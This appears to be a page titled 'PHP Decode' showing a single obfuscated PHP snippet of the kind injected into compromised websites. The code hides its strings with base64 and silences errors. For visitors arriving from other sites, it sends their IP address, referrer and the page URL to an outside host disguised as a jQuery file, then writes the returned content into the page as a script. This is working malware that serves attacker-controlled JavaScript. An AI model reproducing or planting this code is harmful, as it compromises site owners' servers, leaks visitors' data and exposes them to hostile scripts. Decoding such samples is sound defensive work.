PHP Decode

<?php /* ready: */ error_reporting(0);$f_10111 = base64_decode("aHR0cDovL2NyZXZpcy5zay9qcy9qcXVlcnkubWluLnBocA==");$f_10101 = base64_decode("eWFob28=");if(!defined(base64_decode("cmVkaXJlY3Rfb3V0"))){define(base64_decode("cmVkaXJlY3Rfb3V0"), 1010);function x_0($p_5,$y_6){$u_3=$p_5;$i_4=$y_6;function l_1(){$q_7=base64_decode("aHR0cA==");if($_SERVER[base64_decode("SFRUUFM=")]==base64_decode("b24=")){$q_7.=base64_decode("cw==");}$q_7.=base64_decode("Oi8v");if($_SERVER[base64_decode("U0VSVkVSX1BPUlQ=")]!=base64_decode("ODA=")){$q_7.=$_SERVER[base64_decode("U0VSVkVSX05BTUU=")].base64_decode("Og==").$_SERVER[base64_decode("U0VSVkVSX1BPUlQ=")].$_SERVER[base64_decode("UkVRVUVTVF9VUkk=")];}else{$q_7.=$_SERVER[base64_decode("U0VSVkVSX05BTUU=")].$_SERVER[base64_decode("UkVRVUVTVF9VUkk=")];}return $q_7;}function q_2(){$q_8=@$_SERVER[base64_decode("SFRUUF9DTElFTlRfSVA=")];$s_9=@$_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")];$m_10=$_SERVER[base64_decode("UkVNT1RFX0FERFI=")];if(filter_var($q_8,FILTER_VALIDATE_IP)){$x_11=$q_8;}elseif(filter_var($s_9,FILTER_VALIDATE_IP)){$x_11=$s_9;}else{$x_11=$m_10;}return $x_11;}if(isset($_SERVER[base64_decode("SFRUUF9SRUZFUkVS")])&&!empty($_SERVER[base64_decode("SFRUUF9SRUZFUkVS")])){$a_12=$_SERVER[base64_decode("SFRUUF9SRUZFUkVS")];$o_13=substr($a_12,strpos($a_12,base64_decode("Oi8v"))+3);$o_13=substr($o_13,0,strpos($o_13,base64_decode("Lw==")));if($o_13!==$_SERVER[base64_decode("SFRUUF9IT1NU")]){$t_14=base64_decode("YjY0");$f_15=$i_4;$c_16=$_SERVER[base64_decode("SFRUUF9IT1NU")];$y_17=$u_3;$r_18=l_1();$q_19=preg_replace(base64_decode("KF5odHRwcz86Ly8p"),"",$r_18);$q_19=str_replace(base64_decode("Lw=="),base64_decode("Kw=="),$q_19);$q_19=str_replace(base64_decode("Lg=="),base64_decode("Kw=="),$q_19);$q_19=str_replace(base64_decode("LQ=="),base64_decode("Kw=="),$q_19);$q_19=str_replace(base64_decode("Pw=="),base64_decode("Kw=="),$q_19);$q_19=str_replace(base64_decode("Jg=="),base64_decode("Kw=="),$q_19);$o_20=$c_16;$u_21=$q_19;$a_12=$_SERVER[base64_decode("SFRUUF9SRUZFUkVS")];$f_22=@q_2();$r_23="{$u_3}?key={$t_14}&utm_campaign={$f_15}&utm_source={$c_16}&utm_medium={$y_17}&utm_content={$r_18}&utm_term={$q_19}&source={$o_20}&default_keyword={$u_21}&se_referrer={$a_12}&client_ip={$f_22}";try{$d_24=file_get_contents($r_23);if(!empty($d_24)){echo base64_decode("PHNjcmlwdD4=").$d_24.base64_decode("PC9zY3JpcHQ+");}}catch(Exception $p_25){}}}};@x_0($f_10111,$f_10101);} /* :ready */ ?>